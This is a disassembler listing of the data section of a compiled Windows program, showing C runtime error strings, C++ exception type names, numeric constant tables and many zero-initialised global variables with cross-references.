		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4D0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4D4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4D8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4DC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4E0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4E8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4EC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349F4h
		dd 0FFh, 427940h
off_43D578	dd offset dword_4DC040	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC040
		dd 101h
dword_43D588	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D598	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5B8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5E8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7F8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D800	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D808	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D820	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D838	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D998	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAF4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DB0C	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB2C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB4C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB70	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB90	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB98	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DBA0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBB8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E720	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E920	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E924	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E928	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E92C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E930	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E934	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E938	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1904h dup(0)
dword_444D4C	dd 281h	dup(0)		; DATA XREF: sub_55EDA7+1729o
					; sub_55EDA7+1731o
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00434934o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C8o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_439034o
		dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432950o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_431664o
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438EA0o
		dd 5936h dup(0)
dword_4CB720	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB724	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB728	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB72C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB7AC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7EC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB87C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB880	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB890	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB894	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB898	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB89C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8F0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB900	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB904	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB908	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB90C	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB910	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB914	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB91C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB920	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB928	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB92C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB934	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB938	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB93C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB940	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB944	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB948	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB950	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB954	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB958	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB95C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB960	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB964	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB968	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB96C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB970	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB974	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB978	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB97C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB980	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB984	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB988	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB98C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB998	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB99C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9B0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9C0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9D4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9E4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9EC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9F8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9FC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CBA04	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CBA08	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA10	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA14	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA18	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA20	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA24	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA30	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA34	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA40	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA44	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA54	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA58	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA60	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA64	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA68	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA70	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA80	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA88	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA90	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA9C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBAA4	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAB4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAC4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBACC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAD4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBADC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBB00	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBB04	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBB08	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBB0C	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB10	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB14	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB28	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB30	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB34	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB30	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB48	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB4C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB50	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB54	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB58	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBDC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBE0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBE8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBEC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCF0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDF4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDF8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDFC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDE00	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE84	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE88	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE90	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE94	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF98	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE09C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE0A0	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE0A4	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE0A8	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE12C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE130	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE138	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE13C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3C4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4D0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4D8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4DC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4E4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4EC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4F0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4F4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6FC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE704	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE708	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE714	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE718	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE720	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE728	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE72C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE73C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE744	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB70	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF190	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF604	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D3604	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D3608	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3640	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3840	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
